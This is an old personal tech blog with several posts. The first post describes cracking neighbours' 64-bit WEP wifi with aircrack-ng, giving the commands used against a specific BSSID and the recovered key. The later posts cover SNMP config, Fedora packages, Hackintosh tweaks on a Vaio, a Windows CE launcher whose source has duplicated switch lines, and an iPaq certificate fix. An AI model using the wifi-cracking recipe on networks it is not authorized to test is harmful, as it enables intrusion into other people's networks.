Monday, December 8, 2008

Cracking 64Bit Neighbor Wifi Network

64Bit WEP is quite easy to crack, the popular tool is aircrack-ng from this website, I was cracking (always) 64Bit WEP, never try the 128 or more Bit, the reasons, either I wont spend time or many neighbor network available still using 64Bit WEP, :-).. I guess because it easy for them to remember the key.

last action, I only need 9129 IVs, ( the manual on aircrack-ng said, at least 1.5Milions IVs, but that is not entirely needed), here is the result from my last try :



                [00:00:04] Tested 533 keys (got 9129 IVs)

KB depth byte(vote)
0 4/ 11 99(12800) E8(12544) 03(12032) DE(12032) 3D(11776)
1 0/ 1 4B(15616) 0F(13056) 67(12288) BB(12288) 0E(12032)
2 0/ 1 57(15360) 5A(13056) AC(13056) B0(13056) 24(12800)
3 0/ 2 CC(14592) 73(12800) 7D(12288) B2(12288) BA(12288)
4 6/ 35 34(12032) A0(11776) 59(11776) 99(11520) 9C(11520)

KEY FOUND! [ 99:4B:57:38:34 ] (ASCII: .KW84 )
Decrypted correctly: 100%



The manual to use this aircrack-ng is very easy to follow, specially this Tutorial: Simple WEP Crack.

and for me, I use this three command :


./airmon-ng start wlan0 11
./airodump-ng -c 11 --bssid 00:1a:70:82:7b:28 wlan0 -w output1
./aircrack-ng -b 00:1a:70:82:7b:28 output1*.cap



and thats it, you are ready to use your neighbor wifi network.

oh.. almost forgot, one thing, if you guys only have Windows Machine, which is this aircrack-ng tools are for Linux machine, use this small linux distro, called Puppy Linux, put in on USB Drive, and start your machine with USB boot, and you are ready to go.

Sunday, December 7, 2008

Net SNMPD smpd.conf minimum configuration on Linux

I did many quick dirty configuration to monitor my linux machine inside "secure" network using SNMP, the monitoring is always related to traffic size flowing the interface and keeping the machine always in ping-able mode, which means at least no power problem for this machine.

here is the basic snmpd.conf , so I can just use it again without worry misplaced somewhere.

================================================

com2sec readonly default mypublic ##or public

view readonly included .1.3.6.1.2.1.1
view readonly included .1.3.6.1.2.1.25.1.1
view readonly included .1 80
view system included .iso.org.dod.internet.mgmt.mib-2.system
view readonly included system.sysContact
view readonly included system.sysName
view readonly included system.sysLocation
view readonly included interfaces.ifTable.ifEntry.ifAdminStatus



================================================

and the snmpwalk command to check whether the configuration is correct or not.


snmpwalk -v2c -c mypublic localhost .1.3.6.1.2.1.31.1


Saturday, August 30, 2008

Default Fedora 9 Installed Packages


# yum grouplist
Loaded plugins: refresh-packagekit
Setting up Group Process
Installed Groups:
Authoring and Publishing
Development Libraries
Development Tools
Editors
FTP Server
Fonts
GNOME Software Development
Graphical Internet
Graphics
Hardware Support
Legacy Fonts
Mail Server
MySQL Database
Network Servers
Office/Productivity
Printing Support
Sound and Video
System Tools
Text-based Internet
Web Server
X Software Development
Available Groups:
Administration Tools
Clustering
DNS Name Server
Educational Software
Engineering and Scientific
Fedora Eclipse
Fedora Packager
GNOME Desktop Environment
Games and Entertainment
Java Development
KDE (K Desktop Environment)
KDE Software Development
Legacy Network Server
Legacy Software Development
News Server
PostgreSQL Database
SUGAR Desktop Environment
Server Configuration Tools
Virtualization
Web Development
Window Managers
Windows File Server
X Window System
XFCE
XFCE Software Development
Done

Saturday, May 17, 2008

ioreg result on MacBook and MacAir

After looking around for ioreg result for original mac I got this two link,

I desperately looking for that value, because until now I cant make my GMA X3100 Graphics Chipset to work with "the mac" :-), you know what I mean.

Anyway, for me it just for playing around, after got good deal for Sony Vaio VGN-NR220E for only 415$, and I thought I can use this laptop for OSX other than doing Vista Crap on it.

ps : the difference result for ioreg -l command under terminal, between real Mac, and "The Mac" for the display is, the real one has X3100 name on it, but "The Mac" only give a name "Display", is it bios/hardware value, EFI or what ?

Thursday, May 1, 2008

Mac OSX on Vaio VGN-NR220E

Ok, for excuse, the reason I put Mac OSX on my Sony Vaio VGN-NR220E because it came with Vista, and try to "upgrade" it to XP didn't give a good result, XP keep giving me BSOD crash at least once a day for many unknown reasons, the only reason I know, Sony doesn't give drivers support for this laptop on XP. Suck.... Msoft + Sony mafia, is that XP just too old for this not so advance laptop ?.

and nothing to loose, I grab MacOSX XxX 10.4.11 ISO from the corner of internet and give it a try on this laptop, the result, not so good, but worth to try.

- Screen only 1024 x 768, compare to what is on this device, 1280 x 800.
- Marvel Yukon gigabit ethernet is working, just replace value inside /System/Library/Extension/IONetworkingFamily.kext/Contents/Plugins/AppleYukon/Contents/Info.plist from 0x436211AB to 0x435311AB
- Sound work using AppleAzaliaAudio.kext
- Wireless doesnt work, no idea how to fix it.

and final conclusion, still not decide yet, if I want to keep this version of MacOSX, or change it to Leopard base on this review, or just leave with XP and getting use to it with BSOD once or twice a day, but still, no thanks to Damn Vista, I consider it as evil in OS world.

ps : I wrote this post using safari 3.11 on my Sony Vaio MacOSX

UPDATE : My Sony VGN-NR220E now work fine using OSX Kalyway 10.5.2, look comment below for the explanation.

Friday, February 29, 2008

Utilize your Pharos 140 GPS

If you like to have this launcher running on your Pharos 140 GPS :


Just simply download this aloha.exe to your Pharos 140 device, copy it to \MyFlashDisk\mplayer\ directory, rename the original mplayer.exe file to mplayer1.exe, and rename aloha.exe to mplayer.exe, so this new launcher program will appear each time you press the hard button Video Player on the left side of device (VideoPlayer Button is on the middle)

and If you like to goes further by editing the source and compiling it self by your own eVC program, here is the source :







// aloha.cpp : Quick and dirty program for Application Launcher..
//

#include "stdafx.h"
#include "aloha.h"
#include "commctrl.h"

#define MAX_LOADSTRING 100
#define WM_USER_MESSAGE WM_USER + 1

// Global Variables:
HINSTANCE hInst; // The current instance
HWND hwndCB; // The command bar handle


// Forward declarations of functions included in this code module:
ATOM MyRegisterClass (HINSTANCE, LPTSTR);
BOOL InitInstance (HINSTANCE, int);
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM);
LRESULT CALLBACK About (HWND, UINT, WPARAM, LPARAM);

int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
MSG msg;
HACCEL hAccelTable;

// Perform application initialization:
if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}




hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_HELLO);

// Main message loop:
while (GetMessage(&msg, NULL, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}

return msg.wParam;
}

//
// FUNCTION: MyRegisterClass()
//
// PURPOSE: Registers the window class.
//
// COMMENTS:
//
// It is important to call this function so that the application
// will get 'well formed' small icons associated with it.
//
ATOM MyRegisterClass(HINSTANCE hInstance, LPTSTR szWindowClass)
{
WNDCLASS wc;

wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpfnWndProc = (WNDPROC) WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInstance;
wc.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_HELLO));
wc.hCursor = 0;
wc.hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH);
wc.lpszMenuName = 0;
wc.lpszClassName = szWindowClass;

return RegisterClass(&wc);
}

//
// FUNCTION: InitInstance(HANDLE, int)
//
// PURPOSE: Saves instance handle and creates main window
//
// COMMENTS:
//
// In this function, we save the instance handle in a global variable and
// create and display the main program window.
//


BOOL IsAppRunning()
{
HANDLE hMutex = NULL;

hMutex = CreateMutex ( NULL, TRUE, _T("AlohaProgramMutex") );
if ( GetLastError() == ERROR_ALREADY_EXISTS )
{
CloseHandle ( hMutex );
return TRUE;
}
return FALSE;
}

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
HWND hWnd;
TCHAR szTitle[MAX_LOADSTRING]; // The title bar text
TCHAR szWindowClass[MAX_LOADSTRING]; // The window class name


hInst = hInstance; // Store instance handle in our global variable
// Initialize global strings
LoadString(hInstance, IDC_HELLO, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance, szWindowClass);

HWND hPrevWnd = FindWindow(szWindowClass,NULL);

if(hPrevWnd)
{
// BringWindowToTop(hPrevWnd);
SetForegroundWindow(hPrevWnd);
return FALSE;
}


// if (IsAppRunning()) return FALSE;


LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
hWnd = CreateWindow(szWindowClass, szTitle, WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL);


DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About);

if (!hWnd)
{
return FALSE;
}

ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
if (hwndCB)
CommandBar_Show(hwndCB, TRUE);

return TRUE;
}

//
// FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
//
// PURPOSE: Processes messages for the main window.
//
// WM_COMMAND - process the application menu
// WM_PAINT - Paint the main window
// WM_DESTROY - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
HDC hdc;
int wmId, wmEvent;
PAINTSTRUCT ps;
TCHAR szHello[MAX_LOADSTRING];


switch (message)
{

case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
// Parse the menu selections:
switch (wmId)
{
case IDM_HELP_ABOUT:
DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About);
break;
case IDM_FILE_EXIT:
DestroyWindow(hWnd);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_CREATE:
hwndCB = CommandBar_Create(hInst, hWnd, 1);
CommandBar_InsertMenubar(hwndCB, hInst, IDM_MENU, 0);
CommandBar_AddAdornments(hwndCB, 0, 0);
break;
case WM_PAINT:
RECT rt;
hdc = BeginPaint(hWnd, &ps);
GetClientRect(hWnd, &rt);
LoadString(hInst, IDS_HELLO, szHello, MAX_LOADSTRING);
DrawText(hdc, szHello, _tcslen(szHello), &rt,
DT_SINGLELINE | DT_VCENTER | DT_CENTER);
EndPaint(hWnd, &ps);
break;
case WM_DESTROY:
CommandBar_Destroy(hwndCB);
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}

// Mesage handler for the About box.
LRESULT CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
RECT rt, rt1;
int DlgWidth, DlgHeight; // dialog width and height in pixel units
int NewPosX, NewPosY;
int wmId, wmEvent;

SHELLEXECUTEINFO info;
info.cbSize = sizeof(info);
info.fMask = SEE_MASK_FLAG_NO_UI;
info.hwnd = NULL;
info.lpVerb =_T("open");
info.lpFile =_T("\\windows\\explorer.exe");
info.lpParameters =_T("");
info.lpDirectory =_T("");
info.nShow = SW_SHOW;

switch (message)
{
switch (message)
{
switch (message)
{
case WM_INITDIALOG:
// trying to center the About dialog
if (GetWindowRect(hDlg, &rt1)) {
GetClientRect(GetParent(hDlg), &rt);
DlgWidth = rt1.right - rt1.left;
DlgHeight = rt1.bottom - rt1.top ;
NewPosX = (rt.right - rt.left - DlgWidth)/2;
NewPosY = (rt.bottom - rt.top - DlgHeight)/2;

// if the About box is larger than the physical screen
if (NewPosX < 0) NewPosX = 0;
if (NewPosY < 0) NewPosY = 0;
SetWindowPos(hDlg, 0, NewPosX, NewPosY,
0, 0, SWP_NOZORDER | SWP_NOSIZE);
}
return TRUE;

case WM_COMMAND:
if ((LOWORD(wParam) == IDOK) || (LOWORD(wParam) == IDCANCEL))
{
EndDialog(hDlg, LOWORD(wParam));
return TRUE;
}
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
// Parse the menu selections:
switch (wmId)
{
case IDC_EXPLORER:
info.lpFile =_T("\\windows\\explorer.exe");
ShellExecuteEx(&info);
break;
case IDC_OZI:
info.lpFile =_T("\\myflashdisk\\oziexplorer\\oziexplorerce.exe");
ShellExecuteEx(&info);
break;
case IDC_VIDEO:
info.lpFile =_T("\\myflashdisk\\mplayer\\mplayer1.exe");
ShellExecuteEx(&info);
break;
case IDC_ACROBAT:
info.lpFile =_T("\\myflashdisk\\gpsapp\\adobe 2.0\\acrobat 2.0\\reader\\acrord32.exe");
ShellExecuteEx(&info);
break;
case IDC_RESCO:
info.lpFile =_T("\\myflashdisk\\mplayer\\resco.exe");
ShellExecuteEx(&info);
break;
case IDC_EXIT:
CommandBar_Destroy(hwndCB);
PostQuitMessage(0);
break;
}
break;
}
return FALSE;
}



or if you indeed too lazy to type that, here is the complete project :-) .. download it from www.infoanda.com and look this site for other explanation.

Saturday, January 5, 2008

Having Problem after upgrading bios to 1.10 on ipaq H 2210


Recently I just upgrade my old ipaq 2210 bios from version 1.00 to version 1.10, from HP website.
everything went not too smooth, during an upgrade, the software stop working, and restart the application not giving any help, and my ipaq H2210 only having "Serial" "version 1.8" showing on the screen, that is the bootstrap version, restarting my ipaq always get a same result, so my ipaq is only the dumb device without OS and only have the bootstrap looking for OS entry point.
ok.. panicking for a while, restarted the HP bios upgrade couple times more with no progress, finally I just want to put blame on my PC, it is Windows Vista OS, so other than looking a patch for "this compatibility issue", I use another PC which is still running XP, and good news, the HP bios upgrade software able to detect my Ipaq again, and start to upload a new bios.

all done after 30 minutes full intense upgrading session, all look fine, I restore previous ipaq settings, applications, registry and data using Ipaq backup/restore application, many application that I tested all look fine, except one : the Pocket IE can not access https, means, can't recognize SSL certificate, and after I look on certificate setting, the root server table has empty lists.
Oh my.....

ok, this is the short story to make that lists full of root CA again.

using registry editor delete all registry under :

HKEY_CURRENT_USER\Comm\Security\ and
HKEY_LOCAL_MACHINE\Comm\Security\

and reload this reg file to add the correct list and merge it to current system registry, because the CA registry from old bios version of ipaq seems not compatible with this new version.

so moral of the upgrade story :
- dont use vista.
- only upgrade if you really want the improvement, and if it worth :-)
- upgrading means finding new incompatibility issue, so prepare yourself with all possibility.
- its no fun at all having browser that not support SSL.


current

last archive